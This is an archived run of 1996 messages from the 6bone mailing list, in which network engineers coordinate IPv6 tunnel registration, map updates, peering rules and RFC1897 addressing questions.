>for an ISP thas has nationwide internet access by local number.

=46or mbone info you should look at an mbone site:

	http://www.best.com/~prince/techinfo/mbone.html

I can't help you on mbone beyond that.


Thanks,

Bob



From majordom@ISI.EDU  Mon Sep 16 11:19:48 1996
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Date: Mon, 16 Sep 1996 18:19:48 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: database of the available tunnels
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

I had recently asked Andrew Hoag to elaborate on his comment about a
database of the available tunnels and received the following reply,
reposted here with his permission.


Bob

=3D=3D=3D=3D
> >In the near future, we hope to publish a database of the available
>tunnels and
> >allow for everyone to update it themselves. This hopefully will provide t=
he
> >most current repository for sites and contacts.
>
> Can you say more about the general intent of this database in comparison t=
o
> Geert Jan's.

After discussing this with others in our group here, and a gauge of general
feelings I think I misspoke. I do not intend to replace or obsolete Geert Ja=
n's
effort in the IPv6 Registry...

My original issue was that in producing this map I had to cull information f=
rom
not only his registry, but several other sources as well. I wanted the map t=
o
be as complete as possible. Since I had all of the information in one place,=
 I
thought it made sense to make that info available.

However, short of contacting each individual IPv6 site, I would be making th=
at
information available generally without their consent. Maybe this is not an
issue, but at least with Geert Jan's Registry the parties involved have to
actively make their site info public, whereis I would be doing it for them (=
at
least initially).

In any case, I have decided to hold off on publishing what I already have. I
may still build the tools or work with Geert Jan to improve them, but for th=
e
time being I think I'll leave it well enough alone.


--
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--



From majordom@ISI.EDU  Mon Sep 16 11:33:46 1996
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Date: Mon, 16 Sep 1996 18:33:46 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: draft of some hookup info
Sender: owner-6bone@ISI.EDU
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Status: RO

In an attempt to provide some of the most often asked info about hooking up
to the 6bone I've created the following page:

	http://www-6bone.lbl.gov/6bone/6bone_hookup.html

Before I refer to it from the 6bone home page, please take a look and
comment (to the list please) so I can refine or rewrite :-) it.


The 6bone home page now has a pointer to the neat NAS provided 3D
geographic 6bone maps.  I will continue to keep up the simple "bubble"
diagram until it becomes too unwieldy to do so.


Thanks,

Bob



From majordom@ISI.EDU  Mon Sep 16 18:32:09 1996
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	id AA15700; Mon, 16 Sep 1996 22:32:09 -0400
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: database of the available tunnels 
In-Reply-To: Your message of "Mon, 16 Sep 96 18:19:48 PDT."
             <v03007811ae63ac772da1@[128.3.9.22]> 
Date: Mon, 16 Sep 96 22:32:09 -0400
X-Mts: smtp
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Status: RO

Fine...

Would all who would like to please send me:

1. your ipv4 address to reach your tunnel.
2. the IPv6 prefix to route to your tunnel
3. nodes inside your tunnel we can test our ipv6 apps against.

there are other lists out there and one our node sipper was on WITH
INCORRECT information about its capabilities and being sent only to
those who are routing packets.  This is just bogus and lets keep this an
open process.  Especially since the node was updated with new
functionality and we had no way to even know to tell the Czar to update
the freakin database.

For those who want this to be a closed process lets not let them do that
and if necessary we can set up a routing network around them.

I don't want to hear about what the Mbone did anymore.  Its not a
production network after many years and IPv6 can wait that long.  Have
you seen the various meltdown news flashes on the Internet and how some
small ISPs packets are getting blocked and even potentially being put
out of business.  6bone needs to be wide open and lots of testing even
if it breaks which is part of testing.  It also should not be held up
from growing exponentially.

There is nothing wrong with multiple sites routing packets for everyones
tunnels.  In fact you may find eventually some folks route IPv6 throught
the tunnels faster and in fact competition of this nature will foster
better and high performining implementations (again unlike the Mbone).

Anything I get will be published widely I will state up front.

/jim


From majordom@ISI.EDU  Mon Sep 16 13:28:12 1996
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From: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
Message-Id: <9609162028.ZM4777@rennsport.nas.nasa.gov>
Date: Mon, 16 Sep 1996 20:28:12 -0700
In-Reply-To: <bound@zk3.dec.com>
        "Re: database of the available tunnels" (Sep 16, 10:32pm)
References: <9609170232.AA15700@fwasted.zk3.dec.com>
X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail)
To: <bound@zk3.dec.com>
Subject: Re: database of the available tunnels
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> Fine...
>
> Would all who would like to please send me:
>
> 1. your ipv4 address to reach your tunnel.
> 2. the IPv6 prefix to route to your tunnel
> 3. nodes inside your tunnel we can test our ipv6 apps against.
>
> there are other lists out there and one our node sipper was on WITH
> INCORRECT information about its capabilities and being sent only to
> those who are routing packets.  This is just bogus and lets keep this an
> open process.  Especially since the node was updated with new
> functionality and we had no way to even know to tell the Czar to update
> the freakin database.

If enough people feel this would beneficial, I would be happy to "fg" my
registry project and throw up a quick web page where people can add their own
tunnels and maintain their own contact information. I would set it up in either
a shared password format (to keep out the pranksters) or an approval-based
format, but I would like the lowest latency updates as possible.

> There is nothing wrong with multiple sites routing packets for everyones
> tunnels.  In fact you may find eventually some folks route IPv6 throught
> the tunnels faster and in fact competition of this nature will foster
> better and high performining implementations (again unlike the Mbone).
>
> Anything I get will be published widely I will state up front.
>
> /jim
>-- End of excerpt from <bound@zk3.dec.com>

Well put!

-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Mon Sep 16 13:39:10 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Mon, 16 Sep 1996 20:39:10 PDT
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While I share Jim's desire to get the connectivity spread widely among
the sites sending/receiving 6bone traffic, might it not be worth an
effort for everyone to send a current picture of their site to Geert Jan
so that we can really get the RIPE database current ??

Ran
rja@cisco.com


-- 

From majordom@ISI.EDU  Mon Sep 16 19:49:39 1996
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To: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
Cc: ipv6-ops@nas.nasa.gov, 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: database of the available tunnels 
In-Reply-To: Your message of "Mon, 16 Sep 96 20:28:12 PDT."
             <9609162028.ZM4777@rennsport.nas.nasa.gov> 
Date: Mon, 16 Sep 96 23:49:39 -0400
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Andrew,

Thats a good idea.  Good point on pranksters too.  I am off to Interop
and then have to travel on other place but count me in once I get back
and anything I can do to help I will.

How would we work the passwds? or whatever?  Not my forte....

thanks
/jim

From majordom@ISI.EDU  Tue Sep 17 12:34:37 1996
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Date: Tue, 17 Sep 1996 11:34:37 +0100
Message-Id: <199609171034.LAA12250@oberon.di.fc.ul.pt>
From: Pedro Roque Marques <roque@di.fc.ul.pt>
To: <bound@zk3.dec.com>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: database of the available tunnels 
In-Reply-To: <9609170232.AA15700@fwasted.zk3.dec.com>
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	<9609170232.AA15700@fwasted.zk3.dec.com>
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>>>>> "bound" == bound  <bound@zk3.dec.com> writes:


    bound> For those who want this to be a closed process lets not let
    bound> them do that and if necessary we can set up a routing
    bound> network around them.

Jim,

i do share your global connectivity goals but i believe that the main
problem with the 6bone is that everybody has been "routing around
them" from the start. And it is not working too well.
We've have, as far as i understand, several groups that manage routing
information with little or no coordination among them.

It will be also useless to try to finger point people for the current
state of afairs. Personally, i believe we all have our share of
resposability on it.

My proposal is that we stablish an informal set peering etiquete rules.

    bound> There is nothing wrong with multiple sites routing packets
    bound> for everyones tunnels.

No, nothing wrong it that as long as routing information is
consistent. I doubt that currently that will be the case.

My proposal for peering rules:

a) Either a site runs default only to it's peer or it should
distribute, on every update, a copy of it's routing table to everybody
that peers with it. The idea is that you can run a distance vector
algorithm this way (we should agree on the format for this files so
that we can run scripts on them).
Better yet, we can add path information to the routes exported this
way and you have, in essence, a path based routing algorithm.

b) Non default sites should deposit regularly a copy of their routing
table and peering information on a well known place (RIPE or whatever).

c) A site should not limit trafic unless it clrearly states so in the
published information mentioned in b) (allow * policy by default)

    bound> In fact you may find eventually
    bound> some folks route IPv6 throught the tunnels faster and in
    bound> fact competition of this nature will foster better and high
    bound> performining implementations (again unlike the Mbone).

Ok agreed,
but instead of spliting in a miriad of different groups can we try,
at least once, to run *one* 6bone ?

regards,
  Pedro.

From majordom@ISI.EDU  Mon Sep 16 23:52:31 1996
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Date: Tue, 17 Sep 1996 06:52:31 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change - new tunnel from NRL/US to NIST/US
Cc: Robert Glenn <glenn@snad.ncsl.nist.gov>
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6bone drawing version 15 (17 Sep 96) adds tunnel from NRL/US to NIST/US.


Bob

http://www-6bone.lbl.gov/6bone/


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
=46rom: Robert Glenn <glenn@snad.ncsl.nist.gov>
Date: Tue, 17 Sep 1996 08:27:37 -0400 (EDT)
To: rlfink@lbl.gov
Subject: NIST on the 6bone
Cc: rob.glenn@nist.gov


Bob,

NIST (National Institute of Standards and Technology) is now on the
6bone.  We are connected through NRL.

NIST's routing prefix is 5f00:3100::/32.

If you need anymore information please feel free to contact me.

Thanks,

Rob G.
rob.glenn@nist.gov
(301)975-3667



From majordom@ISI.EDU  Tue Sep 17 12:36:04 1996
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From: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
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Subject: Re: database of the available tunnels 
In-Reply-To: Your message of "Mon, 16 Sep 1996 22:32:09 EDT."
             <9609170232.AA15700@fwasted.zk3.dec.com> 
Date: Tue, 17 Sep 1996 10:36:04 +0200
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On Mon, 16 Sep 96 22:32:09 -0400  bound@zk3.dec.com wrote:
> 1. your ipv4 address to reach your tunnel.
> 2. the IPv6 prefix to route to your tunnel
> 3. nodes inside your tunnel we can test our ipv6 apps against.

The first two points are already registered at the registry at the NCC;
I'm looking forward to see a proposal to do point 3 but have not
heard anything yet.

The comments on the 'FTP partking place' so far have been roughly:
- A few people wanted gegraphical info (which I did), and some 
  didn't want geographical data because it is too hard to obtain
  (that's why it's optional)
- Some people had problems with the SITE GROUP/SITE GPASS thing,
  I think I answered all of them.

> there are other lists out there and one our node sipper was on WITH
> INCORRECT information about its capabilities and being sent only to
> those who are routing packets.  This is just bogus and lets keep this an
> open process.  Especially since the node was updated with new
> functionality and we had no way to even know to tell the Czar to update
> the freakin database.

I don't know if this comment was for me but in that case please elaborate?

Geert Jan


From majordom@ISI.EDU  Tue Sep 17 04:40:12 1996
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Date: Tue, 17 Sep 1996 09:40:12 -0500
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: draft of some hookup info
In-Reply-To: "16 Sep 1996 18:33:46 PDT." <"v03007812ae63af96e93a"@[128.3.9.22]>
To: Bob Fink LBNL <RLFink@lbl.gov>
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Bob,

Could you add some emphasis to draw attention to the fact that an
RFC1897 format address includes the ASN of one's provider, not an ASN
that belongs to one's own site?  (But of course a provider uses its
own ASN.)
					Matt

From majordom@ISI.EDU  Tue Sep 17 00:56:49 1996
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Date: Tue, 17 Sep 1996 07:56:49 -0700
To: Matt Crawford <crawdad@fnal.gov>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: draft of some hookup info
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Matt,

>Could you add some emphasis to draw attention to the fact that an
>RFC1897 format address includes the ASN of one's provider, not an ASN
>that belongs to one's own site?  (But of course a provider uses its
>own ASN.)

Will do!


Thanks,

Bob



From majordom@ISI.EDU  Tue Sep 17 01:02:23 1996
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References: <v03007812ae63af96e93a@[128.3.9.22]> from "Bob Fink LBNL" at
 Sep 16, 96 06:33:46 pm
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Date: Tue, 17 Sep 1996 08:02:23 -0700
To: Erich Meier <Erich.Meier@informatik.uni-erlangen.de>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: draft of some hookup info
Cc: 6bone@isi.edu
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Erich,

>> In an attempt to provide some of the most often asked info about hooking =
up
>> to the 6bone I've created the following page:
>>
>> 	http://www-6bone.lbl.gov/6bone/6bone_hookup.html
>>
>> Before I refer to it from the 6bone home page, please take a look and
>> comment (to the list please) so I can refine or rewrite :-) it.
>
>Maybe you should add the diagram below taken from rfc1897 to the page and
>maybe
>provide an example. This eases figuring out the IPv6 address a lot.
>
>   | 3 |  5 bits  |  16 bits | 8 |   24 bits  | 8 | 16 bits|48 bits|
>   +---+----------+----------+---+------------+---+--------+-------+
>   |   |          |Autonomous|   |    IPv4    |   | Subnet | Intf. |
>   |010|  11111   |  System  |RES|   Network  |RES|        |       |
>   |   |          |  Number  |   |   Address  |   | Address|  ID   |
>   +---+----------+----------+---+------------+---+--------+-------+

Sounds good, I'll do it!


Thanks,

Bob



From majordom@ISI.EDU  Tue Sep 17 01:03:13 1996
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References: <v03007812ae63af96e93a@[128.3.9.22]> from "Bob Fink LBNL" at
 Sep 16, 1996 06:33:46 PM
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Date: Tue, 17 Sep 1996 08:03:13 -0700
To: Matt Bush <xomox@netlag.com>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: draft of some hookup info
Cc: 6bone@isi.edu
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Matt,

>> In an attempt to provide some of the most often asked info about hooking =
up
>> to the 6bone I've created the following page:
>>
>> 	http://www-6bone.lbl.gov/6bone/6bone_hookup.html
>>
>> Before I refer to it from the 6bone home page, please take a look and
>> comment (to the list please) so I can refine or rewrite :-) it.
>>
>It may be useful to include a list of organisations which are willing
>to provide tunnel services, with information such as site contact
>and tunnel server address with which performance characteristics
>can be obtained, helping the fledgling find the "nearest" provider.
>In the near future, it may be best to contact your upstream provider
>to find if they offer such services (why i liked the prefix listing on
>early 6bone maps).  I, for example, would be willing to offer tunnels
>to others, but would be less than optimal for all but the closest
>organisations.

This one is a little hard for me to do without help from others.  If there
is sufficient response to the list from folks willing to provide service,
as well as providing me with this info, I will do it.

Comments anyone on the value of this??


>One more note is that it has been suggested by several persons that
>sites connect only to a single tunnel server, in order to prevent loops
>in the current topology.

I'll at least put a cautionary note in.


Thanks,

Bob



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Message-Id: <199609171641.JAA10294@cornpuffs.cisco.com>
From: rja@cisco.com (Ran Atkinson)
Date: Tue, 17 Sep 1996 09:41:57 PDT
X-Mailer: Mail User's Shell (7.2.5 10/14/92)
To: rlfink@lbl.gov
Subject: 6bone map from LBL
Cc: 6bone@isi.edu
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Bob,

  I personally would find it easier to verify my routing table completeness
and accuracy if your map went back to its former self and included the
"Routing Prefix" for each site and also added a "Ping Address" for each site.
Others might also find this useful in keeping their tables current.

  It might also be useful if at some future data (say 1 October 96) the map
were revised to ONLY include data from the RIPE database (one has to register
with RIPE in order to show up on the LBL-maintained map).  It would be useful
if Kevin at NASA/Ames did the same thing with his map, IMHO.

  This small action would provide a very strong incentive for folks to keep
their data current in the RIPE IPv6 database.  By announcing this 10-14 days
before the policy took effect, everyone would have time to get their data
online at RIPE.  The only objective is to strongly encourage folks to keep
their data online at RIPE (which is open to everyone) and to encourage
everyone to keep that data accurate.

Best regards,

Ran
rja@cisco.com

PS:  I'll be updating cisco's entry at RIPE once Geert Jan has time to
     clarify some points that I'm confused about. :-)

-- 

From majordom@ISI.EDU  Tue Sep 17 10:47:24 1996
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Date: Tue, 17 Sep 1996 17:47:24 -0700
To: rja@cisco.com (Ran Atkinson)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone map from LBL
Cc: 6bone@isi.edu
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Ran,

>  I personally would find it easier to verify my routing table completeness
>and accuracy if your map went back to its former self and included the
>"Routing Prefix" for each site and also added a "Ping Address" for each sit=
e.
>Others might also find this useful in keeping their tables current.
>
>  It might also be useful if at some future data (say 1 October 96) the map
>were revised to ONLY include data from the RIPE database (one has to regist=
er
>with RIPE in order to show up on the LBL-maintained map).  It would be usef=
ul
>if Kevin at NASA/Ames did the same thing with his map, IMHO.
>
>  This small action would provide a very strong incentive for folks to keep
>their data current in the RIPE IPv6 database.  By announcing this 10-14 day=
s
>before the policy took effect, everyone would have time to get their data
>online at RIPE.  The only objective is to strongly encourage folks to keep
>their data online at RIPE (which is open to everyone) and to encourage
>everyone to keep that data accurate.

I have been thinking along similar lines to use the map as way of getting
folk to register (and hopefully keep current) their RIPE-NCC IPv6 db info.

This would also be a good time to add back at least the "Routing Prefix"
for each site and possibly the "Ping Address".  Gee, if I got
sophisticated, I could maybe have a click sensitive map that allowed you to
click on the net and go directly to the RIPE-NCC IPv6 db entry.


Rather than shoot for 1 October I would like to shoot for 1 Nov or 1 Dec
for practical reasons.

How do others on the list feel about this??


Thanks,

Bob



From majordom@ISI.EDU  Tue Sep 17 23:54:26 1996
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Date: Wed, 18 Sep 1996 06:54:26 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change - new tunnel from UNI-C/DK to Telebit/DK
Cc: "Gudrun R. Dalgeir" <unigrd@unidhp1.uni-c.dk>
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6bone drawing version 16 (18 Sep 96) adds tunnel from NRL/US to NIST/US.

Overlooked it on Monday when I returned, sorry.


Thanks.

Bob

http://www-6bone.lbl.gov/6bone/


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Date: Wed, 18 Sep 1996 08:33:10 +0200 (METDST)
=46rom: "Gudrun R. Dalgeir" <unigrd@unidhp1.uni-c.dk>
To: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone map change - new tunnel from NRL/US to NIST/US
Mime-Version: 1.0

Bob,

   could you please update the map to include the new tunnel between
UNI-C and Telebit.

Cheers,

---------------- oo000oo ----------------------------------
Gudrun Dalgeir             phone  : (+) 45 35878532
UNI-C                      fax    : (+) 45 35878890
Vermundsgade 5             e-mail : Gudrun.Dalgeir@uni-c.dk
DK-2100 Kbh. O
-----------------------------------------------------------



From majordom@ISI.EDU  Wed Sep 18 06:39:39 1996
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To: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
Cc: 6bone@isi.edu (6BONE Mailer)
Subject: Re: database of the available tunnels 
In-Reply-To: Your message of "Tue, 17 Sep 96 10:36:04 +0200."
             <199609170836.KAA00565@berklix.ripe.net> 
Date: Wed, 18 Sep 96 10:39:39 -0400
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Geert,

Comment was not for you fyi.  If anyone iws maintianing data about nodes
on the 6bone then all data regarding those nodes needs to be updated.
That should be done by the owner of those nodes not a registry or
backbone router.  So if anyone has questions about a Digital node aske
me.  If you have question about cisco node ask Ran, etc etc...  Thats my
point.  

How to I get that file from NCC you spoke of that tells about 1 and 2
from previous mail.?

I am at Interop as I write this mail (its slowwwww) and I am having
trouble getting to nodes on the 6bone with my route for 0/0 or 5f00/8
going thru UNH.  I can get to UNH and back and sipper.zk3-x.dec.com thru
UNH and Bay Networks but no where else?  But when I telnet6 into sipper
I can get tall the 6bone nodes.  I will call UNH Sebastien this a.m.


Here are our v6 addrs you can tunnel too our router ::45.12.64.248 on
the show floor.

5f00:2100:2d0c:4000:0c40:0000:f822:56e6         ni30
(ipv4 addr above is 45.12.64.230)

5f00:2100:2d0c:4000:0c40:0000:f822:64f4         ni31
(ipv4 addr above is 45.12.64.231)

should be able to set up route as:
5F00:2100:2D0C:4000::/80 ::45.12.64.248

thanks
/jim


From majordom@ISI.EDU  Wed Sep 18 08:00:52 1996
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Date: Wed, 18 Sep 1996 12:00:52 -0400
Message-Id: <199609181600.MAA01756@sparky.IOL.UNH.EDU>
From: Quaizar Vohra <qv@sparky.iol.unh.edu>
To: <bound@zk3.dec.com>
Cc: 6bone@isi.edu (6BONE Mailer)
Subject: Re: database of the available tunnels 
In-Reply-To: <9609181439.AA22364@fwasted.zk3.dec.com>
References: <199609170836.KAA00565@berklix.ripe.net>
	<9609181439.AA22364@fwasted.zk3.dec.com>
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 > 
 > I am at Interop as I write this mail (its slowwwww) and I am having
 > trouble getting to nodes on the 6bone with my route for 0/0 or 5f00/8
 > going thru UNH.  I can get to UNH and back and sipper.zk3-x.dec.com thru
 > UNH and Bay Networks but no where else?  But when I telnet6 into sipper
 > I can get tall the 6bone nodes.  I will call UNH Sebastien this a.m.
 > 
 > 
 > Here are our v6 addrs you can tunnel too our router ::45.12.64.248 on
 > the show floor.
 > 
 > 5f00:2100:2d0c:4000:0c40:0000:f822:56e6         ni30
 > (ipv4 addr above is 45.12.64.230)
 > 
 > 5f00:2100:2d0c:4000:0c40:0000:f822:64f4         ni31
 > (ipv4 addr above is 45.12.64.231)
 > 
 > should be able to set up route as:
 > 5F00:2100:2D0C:4000::/80 ::45.12.64.248
 > 
 > thanks
 > /jim
 > 
 > 

Jim. since you are using UNH as a provider :-), let me assign you a
prefix which is covered by our 32 bit prefix 5f02:3000::/32. Just use
5f02:3000:84b1:7400::/64. You can further divide this prefix into
subnets as you like, using the 65-80 bits as subnet identifier.
I will set up a route for  you and the rest of the world won't have to
bother.

This will require you to reassign addresses on all your nodes, which is 
something you can demonstrate as easily done by IPv6 :-) 

Regards,
Quaizar

From majordom@ISI.EDU  Wed Sep 18 08:33:16 1996
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Date: Wed, 18 Sep 1996 12:33:16 -0400 (EDT)
Message-Id: <199609181633.MAA05421@sloth.ncsl.nist.gov>
To: 6bone@isi.edu
Subject: Question regarding RFC1897?
From: 6bone@snad.ncsl.nist.gov
Reply-To: rob.glenn@nist.gov
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Now that I've been bitten by the majordomo "sender must be subscribed" feature,
here is my third attempt at sending this...


While setting up our internal networks and DNS with RFC1897 addresses,
I became puzzled by the address format.

Assuming that there are very good reasons to use the *providers* ASN,
wouldn't it make more sense to use the IPv4 Network Address to represent
the Network Address given to you by the provider?  In other words
If you have a class A address the IPv4 Network Address field would be
0x0000AA, class B address would be 0x00BBBB, and so on.   Then the Subnet 
field could contain the remaining bits.

As it is currently defined, it is difficult to setup reverse DNS records.
Providers will have to maintain records for each IPv4 subnet that sites
want to run with IPv6.  Collisions may occur when sites don't work with
their providers.  Or in some cases, sites won't setup the reverse DNS just 
to avoid this problem. 

Ofcourse, if you use your own ASN, the problems go away. 

Rob G.
rob.glenn@nist.gov


From majordom@ISI.EDU  Wed Sep 18 03:11:46 1996
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Date: Wed, 18 Sep 1996 10:11:46 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: hookup page now linked thru the 6bone page
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I've added the hookup page reference to the 6bone home page.  This hookup
page incorporates comments to date.  Please continue with the suggestions!


When you click the "here" button on the hookup page, for 6bone attachment
locations, you will only find Cisco as Ran is the only one that has sent
explicit info so far.  So please take that as incentive to advertize your
own site, including relevant info that might assist the 6bone attachee
looking for where to "home".

I would like to suggest that one's site must be registered in Geert Jan's
RIPE-NCC 6bone registry to advertize in the hookup list.


Thanks,

Bob



From majordom@ISI.EDU  Wed Sep 18 12:31:54 1996
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To: rja@cisco.com (Ran Atkinson)
Cc: rlfink@lbl.gov, 6bone@ISI.EDU
Subject: Re: 6bone map from LBL 
In-Reply-To: Your message of "Tue, 17 Sep 96 09:41:57 PDT."
             <199609171641.JAA10294@cornpuffs.cisco.com> 
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>  I personally would find it easier to verify my routing table completeness
>and accuracy if your map went back to its former self and included the
>"Routing Prefix" for each site and also added a "Ping Address" for each site.
>Others might also find this useful in keeping their tables current.

Me too.  In fact for every node on the map and address to ping too.
Also if we could all set up anon ftp and dummy telnet for IPv6 that
would be good too.  If it won't fit on the map we need such a table for
every node on the 6bone.

/jim

From majordom@ISI.EDU  Wed Sep 18 08:21:19 1996
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Date: Wed, 18 Sep 1996 15:21:19 -0700
To: Jong Kann <kann@cs.ucla.edu>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Adding UCLA to 6bone map.
Cc: 6bone@isi.edu (6BONE Mailer), lixia@cs.ucla.edu (Lixia Zhang),
        scottm@cs.ucla.edu (Scott Michel)
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Jong,

>	I've been wondering why our UCLA IPv6 nodes are in the very cool
>3-D VRML diagram, but not on your overview graph.  We set up two hosts
>running IPv6 tunneling through CISCO a couple of weeks ago, but there are
>more to come in the near future.  Could you please kindly add our UCLA/US
>node to your 6bone map?  If you need more information, please let me know
>at your earliest convenience.  Thank you.

I believe that no one has told me that UCLA is up - could be wrong.  The
"cool" 3D maps (I like them too :-) happen to show more stuff because
Andrew Hoag, of NAS, had gone to a lot of trouble to build a tunnel table.
If he doesn't continue the effort into maintaining this list, his map will
become out of date unless he is explicitly told what has been
added/removed/etc.

I will soon invoke the rule that Ran proposed, i.e., that everyone must
register with the RIPE-NCC 6bone registry to be put on the map.  This will
eventually lead to the possibility of automatic map generation by all of us
- as well as other benefits!

So... why don't you register, please:

	ftp://ftp.ripe.net/ipv6/ip6rr/


Anyway, I'll add UCLA to the map as soon as possible.


Thanks for mentioning this.

Bob



From majordom@ISI.EDU  Wed Sep 18 08:40:46 1996
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Date: Wed, 18 Sep 1996 15:40:46 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone sites registered
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6bone folk,

The following 6bone sites are already registered in the RIPE-NCC 6bone
Registry:

  CISCO
  ESNET
  FAUERN
  G6
  JOGUNET
  JOIN
  NAS
  NETLAG
  RIPE-NCC
  SICS
  UNH
  UNI-C

As has been discussed, it is best when everyone is registered so we can
have necessary info for operation of the 6bone.  Ran Atkinson has suggested
that we soon move to a mode where we don't put as site on the map unless
you it is registered.

So...I would like to propose that the following 6bone sites register over
the next month or so, then we agree on a cutoff and follow the no registry,
no visibility rule (I think 1 December is a reasonable time frame).

  Bay
  DEC
  FNAL
  Inner
  KEK
  Merit
  NIST
  NRL
  Telebit
  Sun
  UCLA
  ULisboa
  UOregon
  WIDE/JP


Also, can someone suggest a consistent rule for the tunnel entry in the
database.  Some have both ends, some just the far end, some just one
tunnel, some many, some include names as well as ip address, etc.  We need
some consistency.  I'm sure others have similar frustrations and opinions
about other fields in the registry entry as well.

So, if we are going to try to move to a "must register" rule, we should
probably get clearer than we are now as to what must be there and what the
format is.  This will be very important as this gets bigger and we try to
do automatic things (like maps and testing) with the data.

Comments any and all!


Thanks,

Bob



From majordom@ISI.EDU  Wed Sep 18 08:41:58 1996
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From: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
Message-Id: <9609181541.ZM11769@rennsport.nas.nasa.gov>
Date: Wed, 18 Sep 1996 15:41:58 -0700
In-Reply-To: Bob Fink LBNL <RLFink@lbl.gov>
        "Re: Adding UCLA to 6bone map." (Sep 18,  3:21pm)
References: <v03007810ae661f598cce@[128.3.9.22]>
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To: Bob Fink LBNL <RLFink@lbl.gov>, Jong Kann <kann@cs.ucla.edu>
Subject: Re: Adding UCLA to 6bone map.
Cc: 6bone@ISI.EDU (6BONE Mailer), lixia@cs.ucla.edu (Lixia Zhang),
        scottm@cs.ucla.edu (Scott Michel)
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> Andrew Hoag, of NAS, had gone to a lot of trouble to build a tunnel table.

That's true -- at least 30% of my upfront work was assembling some sort of
comprehensive list of the current tunnels involved.

> I will soon invoke the rule that Ran proposed, i.e., that everyone must
> register with the RIPE-NCC 6bone registry to be put on the map.  This will
> eventually lead to the possibility of automatic map generation by all of us
> - as well as other benefits!

I agree and will back Bob & Ran up on this one. At some next interrupt, I will
be removing tunnels from the geographic map if they are not so listed in the
RIPE NCC IPv6 registry.

I also suggest to Bob that you look at your section entitled "Registering with
the routing registry" and strengthen your language to imply that registering
with RIPE is highly recommended ("required" :-).

> So... why don't you register, please:
>
> 	ftp://ftp.ripe.net/ipv6/ip6rr/


-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Wed Sep 18 08:56:09 1996
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References: <v03007810ae661f598cce@[128.3.9.22]> from "Bob Fink LBNL" at
 Sep 18, 96 03:21:19 pm
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Date: Wed, 18 Sep 1996 15:56:09 -0700
To: Jong Kann <kann@cs.ucla.edu>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Adding UCLA to 6bone map.
Cc: 6bone@isi.edu (6BONE Mailer), lixia@cs.ucla.edu (Lixia Zhang),
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Jong,

>	I'm glad you bring this up.  Because I've been looking all over
>for the "how to register" information on the 6bone web page.  But I
>couldn't find anything.  I'm not sure if I'm the only one that has this
>problem or not.  But could you kindly show me the process to register?
>For instance, first I should get an example registry and follow the style
>to create my own.  Then I should mail to ip6ops@ripe.net to gain access
>to that directory and put my registry in?  If that is the correct
>process, could we just use some kind of web-form, so people can fill it
>out right on his(her) web browser?  Just a suggestion, but I think it
>would simplify the registration process.  Thank you for adding us to the
>map.

Good point.  I'll see if I can work out something with Geert Jan.


Thanks,

Bob



From majordom@ISI.EDU  Wed Sep 18 09:06:01 1996
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From: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
Message-Id: <9609181606.ZM11843@rennsport.nas.nasa.gov>
Date: Wed, 18 Sep 1996 16:06:01 -0700
In-Reply-To: Bob Fink LBNL <RLFink@lbl.gov>
        "6bone sites registered" (Sep 18,  3:40pm)
References: <v03007812ae6627be863e@[128.3.9.22]>
X-Mailer: Z-Mail (3.2.3 08feb96 MediaMail)
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Subject: Re: 6bone sites registry
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> Also, can someone suggest a consistent rule for the tunnel entry in the
> database.  Some have both ends, some just the far end, some just one
> tunnel, some many, some include names as well as ip address, etc.  We need
> some consistency.  I'm sure others have similar frustrations and opinions
> about other fields in the registry entry as well.

My suggestion would be at least signify "src" and "dst" pairs -- whether for
each tunnel you repeat the src, or you default to a one-to-many sort of list,
that is negotiable. My personal preference would be to use src and dst pairs
that were closely coupled.

Geert Jan, would it be feasible to include this information within the
"tunnel:" tag? e.g.

tunnel:	src 129.99.237.71 dst 192.31.7.41

